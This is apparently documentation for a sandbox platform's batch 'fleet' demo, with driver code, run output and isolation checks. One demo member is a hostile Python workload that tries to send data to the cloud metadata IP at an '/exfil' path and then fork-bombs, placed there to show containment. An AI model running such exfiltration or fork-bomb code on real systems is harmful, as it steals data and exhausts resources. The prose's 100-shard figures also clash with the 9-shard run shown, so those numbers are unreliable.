Fan out many. Isolate each. Aggregate one.

Source: demo/src/scenarios/fleets-at-scale.ts — every snippet and number on this page reflects that driver. Run it with pnpm --filter @enclave/demo demo:fleets-at-scale.

A single run is one untrusted workload in one sandbox. A fleet is the same primitive at batch scale: you submit N workloads as one named unit, and Enclave gives each one its own isolated session — never a shared sandbox, never a relaxed boundary. Every per-session guarantee carries over per member: default-deny egress, no brokered secret in the sandbox, and CPU / memory / wall-clock quotas.

This driver submits 100 clean shards plus 1 hostile member. Each clean shard i computes i*i + 1 and writes it to the structured result channel; the clean shards sum to 328,450. Instead of orchestrating N runs and stitching their state together yourself, you submit one createFleet(...) call and track one handle: an aggregate phasethat folds the members, plus a per-member list you can pull each session's structured result and audit log from.

▣ Enclave — fleets at scale
fan out many · isolate each · aggregate one
backend: real (connected)  ·  baseUrl: http://127.0.0.1:8090  ·  driving a RUNNING control plane

note: admission ceiling is set by the TARGET's ENCLAVE_MAX_CONCURRENCY (set it < 10 to see waves).
submitting fleet: 9 clean shards + 1 hostile member  (admission ceiling 3 ⇒ waves)

   fleet fl-ff5c86-1 · aggregate phase: pending
   [ 0:▢ queued ] [ 1:▢ queued ] [ 2:▢ queued ] [ 3:▢ queued ] [ 4:▢ queued ]
   [ 5:▢ queued ] [ 6:▢ queued ] [ 7:▢ queued ] [ 8:▢ queued ] [H9:▢ queued ]

   fleet fl-ff5c86-1 · aggregate phase: running
   [ 0:▢ queued ] [ 1:▢ queued ] [ 2:▢ queued ] [ 3:▢ queued ] [ 4:▢ queued ]
   [ 5:▢ queued ] [ 6:▢ queued ] [ 7:▩ running] [ 8:▩ running] [H9:▢ queued ]

   fleet fl-ff5c86-1 · aggregate phase: running
   [ 0:▢ queued ] [ 1:▢ queued ] [ 2:▢ queued ] [ 3:▢ queued ] [ 4:▢ queued ]
   [ 5:▢ queued ] [ 6:▢ queued ] [ 7:▩ running] [ 8:▩ running] [H9:▩ running]

   fleet fl-ff5c86-1 · aggregate phase: running
   [ 0:▩ running] [ 1:▢ queued ] [ 2:▢ queued ] [ 3:▢ queued ] [ 4:▢ queued ]
   [ 5:▢ queued ] [ 6:▢ queued ] [ 7:▩ running] [ 8:▩ running] [H9:▩ running]

   fleet fl-ff5c86-1 · aggregate phase: running
   [ 0:▣ ok     ] [ 1:▢ queued ] [ 2:▢ queued ] [ 3:▢ queued ] [ 4:▢ queued ]
   [ 5:▢ queued ] [ 6:▢ queued ] [ 7:▩ running] [ 8:▩ running] [H9:▩ running]

   fleet fl-ff5c86-1 · aggregate phase: running
   [ 0:▣ ok     ] [ 1:▣ ok     ] [ 2:▩ running] [ 3:▣ ok     ] [ 4:▩ running]
   [ 5:▢ queued ] [ 6:▢ queued ] [ 7:▩ running] [ 8:▩ running] [H9:▩ running]

   fleet fl-ff5c86-1 · aggregate phase: running
   [ 0:▣ ok     ] [ 1:▣ ok     ] [ 2:▣ ok     ] [ 3:▣ ok     ] [ 4:▣ ok     ]
   [ 5:▣ ok     ] [ 6:▣ ok     ] [ 7:▩ running] [ 8:▩ running] [H9:▩ running]

   fleet fl-ff5c86-1 · aggregate phase: running
   [ 0:▣ ok     ] [ 1:▣ ok     ] [ 2:▣ ok     ] [ 3:▣ ok     ] [ 4:▣ ok     ]
   [ 5:▣ ok     ] [ 6:▣ ok     ] [ 7:▣ ok     ] [ 8:▣ ok     ] [H9:▩ running]

   fleet fl-ff5c86-1 · aggregate phase: partial
   [ 0:▣ ok     ] [ 1:▣ ok     ] [ 2:▣ ok     ] [ 3:▣ ok     ] [ 4:▣ ok     ]
   [ 5:▣ ok     ] [ 6:▣ ok     ] [ 7:▣ ok     ] [ 8:▣ ok     ] [H9:▣ failed ]

✓ fan-out: 9 shards isolated, scheduled in 1 wave(s)
✓ aggregate: one number from 9 isolated shards ⟶ 213
✓ contained: 1 hostile member KILLED (egress to 169.254.169.254 denied) — aggregate intact

Submission is a thin batch over the single-session API — each member is a full CreateSessionRequest. The driver builds each clean shard's workload and member spec (default-deny egress per member):

/** One clean map-step: computes its shard's value and returns it structured. */
function shardWorkload(i: number): string {
  const v = shardValue(i);
  return [
    `print("shard ${i}: value=${v}")`,
// … 37 lines omitted …
}

const cleanMember = (i: number): MemberSpec => ({
  code: shardWorkload(i),
  language: "python",

A fleet fans out through one bounded admission queue. The driver sets the admission ceiling to 3 — below the member count — so members flip queued → running → succeeded in visible waves: the concurrency window is observable as the tile grid animates.

• Fan out — createFleet stamps orgId/createdBy from the authenticated principal onto every member, then enqueues each as a normal session.
• Admission queue — an in-process, FIFO, concurrency- bounded queue sits between submission and launch so a burst never overwhelms the backend. At most maxConcurrency sessions provision at once; the rest park (FIFO, none dropped) and each park is recorded as a session_queued audit event.
• Launch & isolate — each admitted member becomes one isolated session with its own egress policy and quotas. On the gVisor / Kubernetes backend that is one gVisor-sandboxed pod per member, placed by the scheduler; the simulator models the same per-member lifecycle.
• Aggregate— as members reach terminal state their phases fold into the fleet's aggregate phase, and the driver sums the structured value of every succeeded shard into one number.

When the queue parks a member, the park is an explicit audit effect — the control plane reduces it to a single session_queued event carrying only the non-secret queue depth and ceiling:

export function reduceQueued(
  sessionId: string,
  data: { queued: number; maxConcurrency: number },
  now: string,
): { effects: Effect[] } {
  return {
    effects: [
      audit(sessionId, "session_queued", "session parked in admission queue (at capacity)", data, now),
    ],
  };
}

/** The effects emitted when a session is first created. */
export function planSessionCreated(session: Session, now: string): Effect[] {
  return [
    audit(session.id, "session_created", `session created (${session.language})`, {
      limits: session.limits,

Reading the batch back is one polling loop. getFleet returns the aggregate phase and the member list; each member is a full session addressed by its own sessionId, and its structured value lives on result.json — the driver polls until every member is terminal, then sums only the succeeded clean shards:

  ctx: DriverCtx,
  opts: { includeHostile: boolean },
  log: (s?: string) => void,
): Promise<RunOutcome> {
  const members: MemberSpec[] = Array.from({ length: SHARDS }, (_, i) => cleanMember(i));
  if (opts.includeHostile) members.push(hostileMember());

  log(
    `${C.bold}submitting fleet:${C.reset} ${SHARDS} clean shards` +
      (opts.includeHostile ? ` + 1 ${C.red}hostile${C.reset} member` : "") +
      `  ${C.dim}(admission ceiling ${MAX_CONCURRENCY}${MAX_CONCURRENCY < SHARDS ? " ⇒ waves" : " ⇒ all concurrent"})${C.reset}`,
  );
  if (members.length > 16)
    log(`   ${C.dim}legend: ${C.reset}· queued  ${C.yellow}◓ running${C.reset}  ${C.green}■ ok${C.reset}  ${C.red}■ killed${C.reset}`);

  const { id: fleetId } = await ctx.createFleet(members);

  // Resolve the fleet once to learn the member→session mapping; the hostile
  // member (if any) is the LAST one submitted.
  let fleet = await ctx.getFleet(fleetId);
  if (!fleet) throw new Error("fleet vanished immediately after create");
  const hostileSessionId = opts.includeHostile
    ? fleet.members[fleet.members.length - 1]?.sessionId
    : undefined;

  // Poll until terminal, re-rendering the tile grid each tick. Count how many
  // distinct "running" peaks we see (a rough proxy for the wave structure).
  let waves = 0;
  let prevRunning = 0;
  let lastSig = "";
  let renders = 0;
  const deadline = Date.now() + POLL_DEADLINE_MS;
  for (;;) {
    fleet = await ctx.getFleet(fleetId);
    if (!fleet) throw new Error("fleet vanished mid-poll");
    const running = fleet.members.filter((m) => m.phase === "running").length;
    // Count a wave each time the running set rises from idle (a new batch of the
    // admission window is admitted) or a fresh in-flight peak appears.
    if (running > 0 && prevRunning === 0) waves++;

  "summary": {
    "passed": 4,
    "total": 4,
    "failures": 0,
    "backend": "real (connected)",
    "baseUrl": "http://127.0.0.1:8090",
    "includeHostile": true,
    "multiOrg": false
  },
  "outcome": {
    "fleetId": "fl-ff5c86-1",
    "fleetPhase": "partial",
    "aggregate": 213,
    "expectedAggregate": 213,
    "shardsSucceeded": 9,
    "hostileContained": true,
    "hostileDeniedHosts": [
      "169.254.169.254"
    ],
    "hostilePhase": "failed",
    "waves": 1,
    "leaked": false
  },

The fleet is hostile by default. Alongside the 100 clean shards, the driver submits one member that attempts to exfiltrate data to the cloud metadata IP under a deny-all egress policy, then fork-bombs. The platform denies the egress — audited as egress_denied for 169.254.169.254 — and the session ends failed.

• Its output never reaches the aggregate. The driver sums only succeeded shards; the killed member is never read in, so the aggregate stays exactly 328,450.
• The fleet phase reflects it. With one member contained, the aggregate phase folds to partial — not completed. Containment is visible at the fleet level, not silently swallowed.
• Pass --no-hostile to run the 100 clean shards alone; then the fleet phase is completed.

 * output never reaches the aggregate. Realistic-but-clearly-demo-only.
 */
const HOSTILE_WORKLOAD = [
  `import os, urllib.request`,
  `try:`,
  `    urllib.request.urlopen("http://${HOSTILE_HOST}/exfil?data=shards")  # egress exfil attempt`,
  `except Exception as e:`,
  `    print("exfil blocked:", e)`,
  `while True:`,

The driver also scans the entire public fleet record for a JWT and asserts none appears — invariant 1, the minted session token is never returned.

The default run is single-org. The driver exercises cross-tenant isolation only behind the --multi-org flag, and it does so at the orchestrator layer — with two distinct-org principals against one in-process orchestrator — because that is where tenancy is enforced (never UI/BFF-only, invariant 5). It is not an HTTP/curl path in this driver.

• One sandbox per session, not per tenant.Each member is its own isolated session with its own egress policy and scoped credential. Members never share a sandbox, even within one org — so a hostile member can't reach a sibling's credential or filesystem (exactly what the contained member above demonstrates).
• Each org sees only its own fleets. The driver creates an acme fleet and a globex fleet, then asserts each org reads back only its own — and that listFleets is org-scoped, with no cross-tenant entries.
• Cross-org access returns a uniform 404. A cross-org getFleet returns undefined, which the route surfaces as 404 not_found — never 403, which would confirm the resource exists.
• Per-tenant namespaces are a platform capability.On the Kubernetes backend a tenant's sessions land in that tenant's namespace for org-level quotas, RBAC, and network policy. This driver proves the org-scoping check itself, not the namespace placement.

| Hostile phase | `failed` |
| Hostile egress denied | 169.254.169.254 |
| Hostile contained | ✅ |
| Token leaked | ✅ withheld |

The two-org isolation proof itself runs at the orchestrator layer with two distinct-org principals: each org reads back only its own fleet, a cross-org getFleet returns undefined, and the listings are org-scoped with no cross-tenant leak:

    },
    getFleet: (id) => client.getFleet(id).catch(() => undefined),
    async resultJson(sessionId) {
      const r = await client.result(sessionId).catch(() => undefined);
      return r?.json;
    },
    async deniedHosts(sessionId) {
      const audit = await client.audit(sessionId).catch(() => []);
      return audit.filter((e) => e.type === "egress_denied").map((e) => String(e.data?.host));
    },
    teardown: (id) => client.teardown(id).catch(() => undefined),
  };
}

// ── two-org isolation proof (in-process orchestrator; invariant 5) ─────────────

async function multiOrgProof(
  check: (name: string, ok: boolean, detail: string) => void,
  log: (s?: string) => void,
): Promise<void> {
  log();
  log(`${C.bold}${C.cyan}── two-org namespace isolation (invariant 5) ──${C.reset}`);

  // Auth-disabled HTTP pins every request to one fixed org, so the cross-tenant
  // check is run at the orchestrator layer with two DISTINCT-org principals —
  // exactly where tenancy is enforced (never UI/BFF-only).
  process.env.ENCLAVE_MAX_CONCURRENCY ??= String(MAX_CONCURRENCY);
  const config = loadConfig({
    ENCLAVE_BACKEND: "simulator",
    ENCLAVE_CRED_SECRET: "demo-secret",
  });
  const orch = createOrchestrator({ config, backend: createSimulatorBackend({ tickMs: 1 }) });

  const principal = (orgId: string): Principal => ({
    userId: `u-${orgId}`,
    orgId,
    role: "owner",
    kind: "user",
    email: `owner@${orgId}.example`,
    scopes: ["sessions:read", "sessions:write", "audit:read"],
  });
  const acme = principal("org-acme");

Be precise about where this scales and where it does not. The two planes have different ceilings.

• The data plane scales with the cluster. Members are independent sessions; on the Kubernetes backend they are pods placed by the scheduler, so throughput grows by adding nodes. There is no shared per-session bottleneck on the execution path.
• The control plane is a single process. The admission queue that bounds and orders fan-out is in-process — pure orchestration (no shared broker, no external state). It does not yet survive a control-plane restart and does not coordinate across multiple control-plane replicas. A distributed queue is future work.

So today: fan-out width and per-member isolation scale with the cluster; the orchestration layer that schedules that fan-out is a single process. That is the honest boundary — a documented limit beats a hidden one.

The driver lives at demo/src/scenarios/fleets-at-scale.ts and is wired as a package script; it submits the fleet, renders the wave-by-wave tile grid, aggregates the clean shards to 213, and asserts the hostile member was contained. Set ENCLAVE_BASE_URL to drive a running control plane (creds via ENCLAVE_API_KEY / ENCLAVE_TOKEN); add --multi-org for the two-org isolation proof.

    "demo:fleets-at-scale": "tsx src/scenarios/fleets-at-scale.ts",

✓ PASS  aggregate equals the sum of the clean shards
      aggregate=213 expected=213 (9/9 shards)
✓ PASS  hostile member CONTAINED (egress denied + killed) without affecting the aggregate
      phase=failed deniedHosts=[169.254.169.254] aggregate-intact=true
✓ PASS  fleet aggregate phase reflects the contained member (partial, not completed)
      fleet.phase=partial
✓ PASS  no session token (JWT) anywhere in the public fleet view (invariant 1)
      scanned the full fleet record

✓ 4/4 checks — fleet fanned out, isolated, aggregated to one number; hostile member contained.

See the architecture for the backend-agnostic core, or the containment model for the per-session enforcement every fleet member inherits.